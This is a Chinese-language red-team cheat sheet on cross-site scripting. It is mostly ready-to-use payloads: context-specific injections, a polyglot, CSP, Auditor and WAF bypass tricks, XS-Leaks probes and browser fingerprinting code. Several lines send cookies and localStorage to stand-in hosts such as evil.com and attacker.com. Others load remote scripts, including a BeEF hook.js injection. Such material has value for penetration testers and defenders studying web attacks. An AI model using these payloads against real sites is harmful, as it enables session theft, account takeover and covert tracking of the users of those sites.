目录
- 一、XSS(跨站脚本攻击)
- 二、XSS分类与payload库
- 三、CSP绕过技术
- 四、XSS Auditor绕过
- 五、WAF绕过技术
- 六、XS-Leaks(跨站泄露)
- 七、JavaScript探针与指纹
- 八、红队视角总结
一、XSS(跨站脚本攻击)
三种类型
| 类型 | 持久性 | 触发时机 | 影响范围 |
|---|---|---|---|
| 反射型 (Reflected) | 非持久 | 用户点击恶意链接 | 单个用户 |
| 存储型 (Stored) | 持久 | 任何人访问页面 | 所有用户 |
| DOM型 (DOM-based) | 取决于存储 | JS执行时 | 单个用户 |
反射型XSS
https://example.com/search?q=<script>alert(1)</script>
# 结果:页面回显搜索词时直接嵌入HTML
存储型XSS
# 攻击者在留言板提交
评论: <img src=x onerror="fetch('//evil.com?c='+document.cookie)">
# 任何访问留言板的用户都会触发XSS
# 危害最大——可传播XSS蠕虫
DOM型XSS
// 页面代码
var hash = location.hash.substring(1);
document.getElementById('content').innerHTML = hash;
// 攻击URL
https://example.com/page#<img src=x onerror=alert(1)>
// hash部分在浏览器端写入DOM,服务器收不到二、XSS分类与payload库
通用payload(按场景分类)
HTML上下文:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<iframe src=javascript:alert(1)>属性上下文:
" onmouseover="alert(1)
' onfocus=alert(1) autofocus='
javascript:alert(1)script标签内:
'; alert(1); //
"-alert(1)-"
</script><script>alert(1)</script>URL上下文:
javascript:alert(1)
data:text/html,<script>alert(1)</script>
Polyglot XSS
同时匹配多种上下文的payload:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert(1) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(1)//>\x3e
事件型payload速查
<!-- 无需用户交互 -->
<svg onload=alert(1)>
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<!-- CSS动画触发 -->
<style>@keyframes x{}</style><div style="animation-name:x" onanimationend=alert(1)>
<!-- 需要用户交互 -->
<select onchange=alert(1)>
<textarea oninput=alert(1)>
<a onmouseover=alert(1)>
<div onclick=alert(1)>三、CSP绕过技术
CSP (Content-Security-Policy) 基础
Content-Security-Policy:
default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src *;
绕过方案速查
| 场景 | 绕过方式 |
|---|---|
script-src 'self' | JSONP端点、AngularJS沙箱、文件上传JS |
script-src 'unsafe-inline' | 直接注入<script>或事件属性 |
script-src 'unsafe-eval' | eval(), new Function(), setTimeout() |
缺少 object-src | <object data="data:text/html,..."> |
缺少 base-uri | <base href="https://evil.com">劫持相对路径脚本 |
script-src 'nonce-...' | DOM XSS可能绕过(nonce不保护动态内容) |
JSONP绕过CSP
<!-- 如果script-src允许self但站点恰好有JSONP接口 -->
<script src="/api/user?callback=alert(1)"></script>
<!-- 返回:alert(1)({...}) → 执行alert(1)! -->AngularJS沙箱绕过(已历史但值得了解)
{{constructor.constructor('alert(1)')()}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)')}}
通过文件上传绕过
1. 上传 a.js 文件到目标的uploads目录
2. 注入 <script src="/uploads/a.js"></script>
3. script-src 'self' 不会阻止(uploads在同一域名下)
四、XSS Auditor绕过
XSS Auditor的绕过方式(Chrome已在v79移除,但Safari等仍使用):
# 利用HTML注释
<scr<!-- -->ipt>alert(1)</scr<!-- -->ipt>
# 利用base标签劫持
<base href="https://evil.com/">
# URL编码
%3Cscript%3E
# JavaScript字符串上下文绕过Auditor
// Auditor不会检查JS字符串中的内容
五、WAF绕过技术
大小写混淆
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x OnErRoR=alert(1)>
空格替换
# HTML5允许 / 替代空格
<img/onerror=alert(1)>
<img/ src=x / onerror=alert(1)>
# 制表符、换行等
<img src=x onerror=alert(1)> <!-- tab -->
编码绕过
# HTML实体
<img src=x onerror="alert(1)">
# URL编码(在href/src等属性中)
<a href="javascript:alert(1)">
# Base64 via data URI
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
# JS编码
<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
关键字符串绕过
# 绕过 "alert" 过滤
prompt(1)
confirm(1)
window['alert'](1)
this['aler' + 't'](1)
top[/aler/.source+/t/.source](1)
[].constructor.constructor('alert(1)')()
# 绕过 "document.cookie" 过滤
document['cookie']
this['doc' + 'ument']['coo' + 'kie']
绕过长度限制
// 通过 import() 动态加载远程JS(短payload)
import('https://evil.com/e.js') // 仅26字节
// 通过 eval(location.hash)
eval(location.hash.slice(1))
// 完整攻击URL:target.com/page#alert(1)
// 通过 eval(name)
window.name = 'alert(document.cookie)';
// 跨window.name传递payload六、XS-Leaks(跨站泄露)
XS-Leaks是利用Web平台特性从跨源资源中推断信息的一类攻击。
类型矩阵
| 攻击 | 原理 | 可泄露信息 |
|---|---|---|
| XS-Search | fetch时序差异 | 搜索结果内容 |
| Frame计数 | window.length | 同源子窗口数量 |
| 性能API | transferSize | 资源大小 |
| CSS历史嗅探 | :visited样式 | 浏览历史 |
| 缓存探测 | 图片加载时序 | 已访问的URL |
| 错误事件 | onerror/onload | 资源存在性 |
XS-Search攻击
// 推断用户是否搜索过特定关键词
// 如果结果页面出现特定内容,加载时间可能不同
async function searchOracle(query) {
const start = performance.now();
await fetch(`https://target.com/search?q=${query}`, {
mode: 'no-cors' // 不要求CORS,无法读取响应但可测时间
});
return performance.now() - start;
}
// 如果时间差异明显 → 推断搜索结果显示/为空Frame Counting
// 通过 window.length 推断浏览器打开的标签页/窗口数
// 如果目标在iframe中加载:
console.log(frames.length); // 可能暴露状态
// 进一步:通过iframe onload事件的时间差异七、JavaScript探针与指纹
浏览器指纹
// Canvas指纹
const canvas = document.createElement('canvas');
const ctx = canvas.getContext('2d');
ctx.textBaseline = 'top';
ctx.font = '14px Arial';
ctx.fillText('Browser Fingerprint Test', 2, 2);
const fingerprint = canvas.toDataURL(); // 每个设备略有不同
// WebGL指纹
const gl = canvas.getContext('webgl');
const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
const vendor = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
const renderer = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
// AudioContext指纹
const audioCtx = new AudioContext();
const oscillator = audioCtx.createOscillator();
// ... 采集音频硬件差异环境探测
// 检测DevTools是否打开
const threshold = 160;
setInterval(() => {
const start = performance.now();
debugger;
if (performance.now() - start > threshold) {
console.log('DevTools detected!');
}
}, 500);
// 检测Selenium/Headless
if (navigator.webdriver) { console.log('Selenium detected!'); }
if (!navigator.plugins.length) { console.log('Possibly headless!'); }信息收集payload
// 一键收集所有页面信息
const info = {
url: location.href,
cookie: document.cookie,
localStorage: JSON.stringify(localStorage),
userAgent: navigator.userAgent,
screen: `${screen.width}x${screen.height}`,
referrer: document.referrer,
plugins: Array.from(navigator.plugins).map(p => p.name),
};
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify(info),
});八、红队视角总结
XSS攻击能力评估
| 能力级别 | 描述 |
|---|---|
| 基础XSS | alert(1) 验证漏洞存在 |
| 中级XSS | 窃取Cookie、劫持表单 |
| 高级XSS | CSP绕过、WAF bypass、持久化植入 |
| 专家XSS | XS-Leaks、Service Worker劫持、框架层利用 |
工具清单
| 工具 | 用途 |
|---|---|
| PortSwigger XSS Cheat Sheet | WAF/CSP绕过大全 |
| XSStrike | 智能XSS扫描+payload |
| dalfox | Go语言XSS分析 |
| Burp DOM Invader | DOM XSS自动检测 |
| Hackvector (Burp插件) | Payload自动编码 |
| Beef (Browser Exploitation Framework) | XSS后利用框架 |
BEEF简介
BeEF (Browser Exploitation Framework) 是XSS后利用的标准工具:
Hook注入:<script src="http://beef-server:3000/hook.js"></script>
被Hook后可以:
- 获取浏览器指纹
- 探测内网(Port Scanning)
- 发起CSRF请求
- 键盘记录
- 浏览器历史嗅探
- 社会工程学弹窗
返回 JavaScript 总目录 | 前端基础总目录